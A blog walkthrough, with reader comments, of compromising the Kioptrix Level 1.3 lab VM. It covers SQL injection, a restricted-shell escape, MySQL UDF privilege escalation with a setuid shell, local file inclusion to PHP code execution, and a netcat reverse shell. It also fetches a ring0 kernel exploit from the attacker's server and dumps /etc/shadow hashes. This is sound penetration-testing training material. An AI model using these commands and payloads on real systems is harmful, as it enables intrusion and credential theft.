Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Continuing along with the series, I decided to knock out Kioptrix Level 1.3 (#4).
As usual, (though hopefully soon I’ll start showing off some of my enumeration scripts on here as well) I ran netdiscover to find the new VM.
Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 ________________________________________________________________ IP At MAC Address Count Len MAC Vendor ---------------------------------------------------------------- 172.16.119.1 00:50:56:c0:00:01 01 060 VMWare, Inc. 172.16.119.135 00:0c:29:a8:e4:2e 01 060 VMware, Inc. 172.16.119.254 00:50:56:e1:d6:c7 01 060 VMWare, Inc. root@kali:~#
IP in hand, I ran a quick Nmap scan to find some attack surfaces.
root@kali:~# nmap -sT -sV -O 172.16.119.135 Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-13 17:25 EDT Nmap scan report for 172.16.119.135 Host is up (0.00030s latency). Not shown: 566 closed ports, 430 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) MAC Address: 00:0C:29:A8:E4:2E (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.40 seconds
I decided to check out the home page first, as that is usually a good starting point.
Dirbuster seemed to bring up few directories of note, but two of them were called “john” and “robert”, so I decided to try them as a point of possible SQL Injection.
This attempt seemed to work and brought me to a Member’s Control Panel displaying John’s username, password, and a Logout button.
Using the same input for Robert brought up similar information as well.
I decided to try John’s credentials over SSH hoping he ‘reused’ them, which of course he did. Unfortunately, he appeared to be in some sort of restricted shell that only allowed a few commands.
root@kali:~# ssh [email protected] [email protected]'s password: Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ id *** unknown command: id john:~$ ? cd clear echo exit help ll lpath ls john:~$ help help Limited Shell (lshell) limited help. Cheers.
Using Robert’s credentials worked as well, but he had the same limited shell.
root@kali:~# ssh [email protected] [email protected]'s password: Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands robert:~$ help cd clear echo exit help ll lpath ls robert:~$ ls -al total 24 drwxr-xr-x 2 robert robert 4096 2012-02-04 18:53 . drwxr-xr-x 5 root root 4096 2012-02-04 18:05 .. -rw-r--r-- 1 robert robert 220 2012-02-04 18:05 .bash_logout -rw-r--r-- 1 robert robert 2940 2012-02-04 18:05 .bashrc -rw-r--r-- 1 robert robert 5 2012-02-04 18:59 .lhistory -rw-r--r-- 1 robert robert 586 2012-02-04 18:05 .profile robert:~$ exit
After a bit more testing of commands and research, this appeared to be a slightly modified version of the python Limited Shell (Lshell) that was easily bypassed.
john:~$ echo os.system('/bin/bash') john@Kioptrix4:~$ id uid=1001(john) gid=1001(john) groups=1001(john)
Though it wasn’t within the spirit of the challenge, I could have gotten the flag already as it was world readable.
john@Kioptrix4:~$ cd /root john@Kioptrix4:/root$ ls -al total 44 drwxr-xr-x 4 root root 4096 2012-02-06 18:46 . drwxr-xr-x 21 root root 4096 2012-02-06 18:41 .. -rw------- 1 root root 59 2012-02-06 20:24 .bash_history -rw-r--r-- 1 root root 2227 2007-10-20 07:51 .bashrc -rw-r--r-- 1 root root 625 2012-02-06 10:48 congrats.txt -rw-r--r-- 1 root root 1 2012-02-05 10:38 .lhistory drwxr-xr-x 8 loneferret loneferret 4096 2012-02-04 17:01 lshell-0.9.12 -rw------- 1 root root 1 2012-02-05 10:38 .mysql_history -rw------- 1 root root 5 2012-02-06 18:38 .nano_history -rw-r--r-- 1 root root 141 2007-10-20 07:51 .profile drwx------ 2 root root 4096 2012-02-06 11:43 .ssh
With a little bit of enumeration and searching, it seemed that this kernel was vulnerable to the same ring0 exploit as Kioptrix Level 1.1 (#2). I compiled the exploit on my attacker box (32-bit system flag), and served it up over Python’s SimpleHTTPServer.
root@kali:~# gcc -o ring0-32 ring0.c -m32 root@kali:~# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 172.16.119.135 - - [15/May/2015 08:01:45] "GET /ring0-32 HTTP/1.0" 200 -
I switched back over to the vulnerable machine, grabbed the exploit, executed it, and got root.
john@Kioptrix4:~$ wget http://172.16.119.128:8000/ring0-32 --10:01:47-- http://172.16.119.128:8000/ring0-32 => `ring0-32' Connecting to 172.16.119.128:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 6,955 (6.8K) [application/octet-stream] 100%[====================================>] 6,955 --.--K/s 10:01:47 (1.05 GB/s) - `ring0-32' saved [6955/6955] john@Kioptrix4:~$ chmod +x ring0-32 john@Kioptrix4:~$ ./ring0-32 # id uid=0(root) gid=0(root) groups=1001(john)
Root in hand, I checked .bash_history for anything interesting, and dumped the flag file.
# cd /root # ls congrats.txt lshell-0.9.12 # cat .bash_history clear iptables -L echo "" > /root/.bash_history poweroff # cat congrats.txt Congratulations! You've got root. There is more then one way to get root on this system. Try and find them. I've only tested two (2) methods, but it doesn't mean there aren't more. As always there's an easy way, and a not so easy way to pop this box. Look for other methods to get root privileges other than running an exploit. It took a while to make this. For one it's not as easy as it may look, and also work and family life are my priorities. Hobbies are low on my list. Really hope you enjoyed this one. If you haven't already, check out the other VMs available on: www.kioptrix.com Thanks for playing, loneferret
No shadow file just yet though, as there were a few more points of ingress…
Alternatively, logging in as the John user also allowed us find some SQL credentials in the checklogin.php file.
john@Kioptrix4:/var/www$ cat checklogin.php <?php ob_start(); $host="localhost"; // Host name $username="root"; // Mysql username $password=""; // Mysql password $db_name="members"; // Database name $tbl_name="members"; // Table name // Connect to server and select databse. mysql_connect("$host", "$username", "$password")or die("cannot connect"); mysql_select_db("$db_name")or die("cannot select DB"); // Define $myusername and $mypassword $myusername=$_POST['myusername']; $mypassword=$_POST['mypassword']; // To protect MySQL injection (more detail about MySQL injection) $myusername = stripslashes($myusername); //$mypassword = stripslashes($mypassword); $myusername = mysql_real_escape_string($myusername); //$mypassword = mysql_real_escape_string($mypassword); //$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'"; $result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'"); //$result=mysql_query($sql); // Mysql_num_row is counting table row $count=mysql_num_rows($result); // If result matched $myusername and $mypassword, table row must be 1 row if($count!=0){ // Register $myusername, $mypassword and redirect to file "login_success.php" session_register("myusername"); session_register("mypassword"); header("location:login_success.php?username=$myusername"); } else { echo "Wrong Username or Password"; print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>'); } ob_end_flush(); ?>
Using these credentials, we were able to login to the local MySQL instance as root (without a password, naughty naughty) and obtain some information from the database (including the same passwords found from the earlier SQL injection).
john@Kioptrix4:~$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 31 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> status; -------------- mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2 Connection id: 31 Current database: Current user: root@localhost SSL: Not in use Current pager: stdout Using outfile: '' Using delimiter: ; Server version: 5.0.51a-3ubuntu5.4 (Ubuntu) Protocol version: 10 Connection: Localhost via UNIX socket Server characterset: latin1 Db characterset: latin1 Client characterset: latin1 Conn. characterset: latin1 UNIX socket: /var/run/mysqld/mysqld.sock Uptime: 1 hour 35 min 15 sec Threads: 1 Questions: 109 Slow queries: 0 Opens: 24 Flush tables: 1 Open tables: 18 Queries per second avg: 0.019 -------------- mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | members | | mysql | +--------------------+ 3 rows in set (0.00 sec) mysql> use members; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +-------------------+ | Tables_in_members | +-------------------+ | members | +-------------------+ 1 row in set (0.00 sec) mysql> select * from members; +----+----------+-----------------------+ | id | username | password | +----+----------+-----------------------+ | 1 | john | MyNameIsJohn | | 2 | robert | ADGAdsafdfwt4gadfga== | +----+----------+-----------------------+ 2 rows in set (0.00 sec)
With the MySQL access, I checked to see if it would be possible to escalate privileges with some User Defined Functions (UDF).
john@Kioptrix4:~$ whereis lib_mysqludf_sys.so lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so john@Kioptrix4:~$ mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 36 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; ERROR 1125 (HY000): Function 'sys_exec' already exists mysql> select sys_exec('id > /tmp/out; chown john.john /tmp/out'); +-----------------------------------------------------+ | sys_exec('id > /tmp/out; chown john.john /tmp/out') | +-----------------------------------------------------+ | NULL | +-----------------------------------------------------+ 1 row in set (0.00 sec) mysql> quit Bye john@Kioptrix4:~$ cat /tmp/out uid=0(root) gid=0(root)
While GCC wasn’t installed on the target system, I was able to create a simple setuid application on my attack box, compile it for 32bit, host it using Python’s SimpleHTTPServer, wget it on the target box, have it setuid 0 by the UDF, execute it, and get root!
john@Kioptrix4:~$ cd /tmp john@Kioptrix4:/tmp$ cat setuid.c int main() { setgid(0); setuid(0); system("/bin/bash"); } john@Kioptrix4:/tmp$ gcc -o setuid setuid.c The program 'gcc' can be found in the following packages: * gcc * pentium-builder Ask your administrator to install one of them bash: gcc: command not found root@kali:~# cat setuid.c int main() { setgid(0); setuid(0); system("/bin/bash"); } root@kali:~# gcc -o setuid setuid.c -m32 root@kali:~# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 172.16.119.135 - - [15/May/2015 08:28:52] "GET /setuid HTTP/1.0" 200 - john@Kioptrix4:/tmp$ rm setuid.c john@Kioptrix4:/tmp$ wget http://172.16.119.128:8000/setuid --10:28:54-- http://172.16.119.128:8000/setuid => `setuid' Connecting to 172.16.119.128:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 5,072 (5.0K) [application/octet-stream] 100%[====================================>] 5,072 --.--K/s 10:28:54 (711.75 MB/s) - `setuid' saved [5072/5072] john@Kioptrix4:/tmp$ ls -al total 20 drwxrwxrwt 3 root root 4096 2015-05-15 10:28 . drwxr-xr-x 21 root root 4096 2012-02-06 18:41 .. -rw-r--r-- 1 john john 5072 2015-05-15 08:28 setuid drwxr-xr-x 2 root root 4096 2015-05-15 08:35 .winbindd john@Kioptrix4:/tmp$ mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 38 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> select sys_exec('chown root:root /tmp/setuid; chmod 4755 /tmp/setuid'); +-----------------------------------------------------------------+ | sys_exec('chown root:root /tmp/setuid; chmod 4755 /tmp/setuid') | +-----------------------------------------------------------------+ | NULL | +-----------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> exit Bye john@Kioptrix4:/tmp$ ./setuid root@Kioptrix4:/tmp# id uid=0(root) gid=0(root) groups=1001(john)
But before I post the shadow file, I’ll go over the third point of entry that I found as well.
After a quick look, it appeared that the member.php file might be vulnerable to Local File Inclusion.
Unfortunately, it appeared that “etc” was being stripped when I tried to include /etc/passwd
That said, once I doubled up the /etc and then added a null byte, then I was able to view the /etc/passwd file.
Unfortunately, I was unable to access the Apache access.log, error.log, or even environ.
After a bit of manual brute forcing and research on LFI exploitation, I was able to access fd 9, which appeared in include the information I entered into the login page.
I decided to test this vector with a phpinfo page injected into my SQL injection.
Logging back in and returning to the fd page displayed the phpinfo, so I knew I was able to execute PHP code.
With this information in hand, I decided to inject my favorite PHP shell, and test it out. Note that the vertical line between the dashes (before the PHP code) is my cursor, not a pipe character! Thanks for a keen-eyed reader for pointing that out, and I apologize for any confusion.
Using the system calls I located and ran netcat to grab a reverse shell on my attacker box.
On my attacker box I ran my listener, and used the same ring0 exploit as earlier just to verify that root could be obtained this way as well.
root@kali:~# netcat -l -p 8000 id uid=33(www-data) gid=33(www-data) groups=33(www-data) cd /tmp wget http://172.16.119.128:8000/ring0-32 chmod +x ring0-32 ./ring0-32 id uid=0(root) gid=0(root) groups=33(www-data)
An interesting thing to note was that there were some IPtables setup to prevent commonly used ports for listeners etc., which caused me some slight issues initially.
# iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere anywhere tcp dpt:4444 DROP tcp -- anywhere anywhere tcp dpts:1337:x11 DROP tcp -- anywhere anywhere tcp dpts:webmin:31337 DROP tcp -- anywhere anywhere tcp dpt:webcache Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere anywhere tcp dpt:4444 DROP tcp -- anywhere anywhere tcp dpts:1337:x11 DROP tcp -- anywhere anywhere tcp dpts:webmin:31337 DROP tcp -- anywhere anywhere tcp dpt:webcache DROP tcp -- anywhere anywhere tcp dpt:www DROP tcp -- anywhere anywhere tcp dpt:ftp
And, of course, there was the shadow file to dump still.
root@Kioptrix4:~# cat /etc/shadow root:$1$5GMEyqwV$x0b1nMsYFXvczN0yI0kBB.:15375:0:99999:7::: daemon:*:15374:0:99999:7::: bin:*:15374:0:99999:7::: sys:*:15374:0:99999:7::: sync:*:15374:0:99999:7::: games:*:15374:0:99999:7::: man:*:15374:0:99999:7::: lp:*:15374:0:99999:7::: mail:*:15374:0:99999:7::: news:*:15374:0:99999:7::: uucp:*:15374:0:99999:7::: proxy:*:15374:0:99999:7::: www-data:*:15374:0:99999:7::: backup:*:15374:0:99999:7::: list:*:15374:0:99999:7::: irc:*:15374:0:99999:7::: gnats:*:15374:0:99999:7::: nobody:*:15374:0:99999:7::: libuuid:!:15374:0:99999:7::: dhcp:*:15374:0:99999:7::: syslog:*:15374:0:99999:7::: klog:*:15374:0:99999:7::: mysql:!:15374:0:99999:7::: sshd:*:15374:0:99999:7::: loneferret:$1$/x6RLO82$43aCgYCrK7p2KFwgYw9iU1:15375:0:99999:7::: john:$1$H.GRhlY6$sKlytDrwFEhu5dULXItWw/:15374:0:99999:7::: robert:$1$rQRWeUha$ftBrgVvcHYfFFFk6Ut6cM1:15374:0:99999:7:::
Another great VM by loneferret, and there is only one more left in the series for me.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
Impressive. That took some serious enumeration-fu to get the LFI and the Ring0 exploit in addition to the MySQL route that everyone else used.
I’ll admit, I didn’t get past a limited shell (found John and Robert’s passwords, but no lshell escape via echo), but I found that you can also get a shell via SQL injection on the authentication screen. That brings you into the www-data account via SQLmap’s –os-shell (I also noticed that congrats.txt was world-readable at this point, which didn’t help much), from which I uploaded a python reverse shell so that I didn’t have to deal with os-shell’s prompts. Unfortunately, that basically killed my exploitation effort because I fell into the trap of believing that was the way you were supposed to attack the machine instead of going to the restricted shells.
`Twas fun while it lasted, though. This made me realize I need to practice my Linux privilege escalation some before I start the OSCP in about a week as that seems to be a rather sore spot so far.
Thanks, and there were definitely some cool exploits in this one. The LFI was definitely my favorite though.
Ah, that’s unfortunate, but go back and give it a try now that you’ve seen a few options!
Oh awesome, I didn’t even attempt to do that. I’ve always had trouble with os-shell, but it is great that it worked here.
Hey, if a vulnerable machine has a vulnerability, then you’re probably meant to attack it. That said, I’m sure that he world readable flag file was a mistake.
Understandable, but this is a great reference for once you do – https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Also the linuxprivchecker by Mike – https://www.securitysift.com/offsec-pwb-oscp/
Nicely done on the LFI vector! I’m confident that was not intentional.
Once you know LFI is possible, I wonder if you know a tool that can check for valid paths. I tried with LFISuite, but it doesnt detect the path you found as vulnerable. I also tried with dotdotpwn but it requires you to look for a specific string, when in reality what we are looking for is any response except for the error message we get when the file doesnt exist. In the end, I found it was possible to automate your effort a little more, by using ZAP (or Burp), fuzzing with a large LFI paths file (in my case, I used LFISuites “pathtotest_huge.txt”) and then sorting by response size.
I wonder if you had another idea or if you painstakingly went through it manually 🙂
Also I know its been a minute since you worked on this, but do you remember if you tried a bash reverse shell? I’m getting all manner of error when trying it while SSH’d (let alone from the webshell, which doesnt show any errors/output). The reason i ask is because you wont always have netcat, and usually a bash reverse shell does the trick but in this case, no dice for me.
Yea, I wasn’t quite sure if it was intentional or not, but it was a fun one.
I actually don’t use any tools currently, but that’s something to look into! I’ve used Burp Intruder before, but that’s about it. I’ll post a blog soon if I find (or write) anything interesting for LFI though.
Definitely went through it manually in this case though.
I actually didn’t try a bash reverse shell, but what sort of errors are you trying to get? I agree that you don’t always have netcat though, so more than one option is always great.
Really appreciate the level of detail you put into your writeups and the different techniques used to enumerate and attack. This is an informational gem for those who have stumbled across this like I have. Thank you!
Thanks for the feedback, and glad it was useful and/or helpful!
[…] Kioptrix Level 1.3 (#4) Walkthrough […]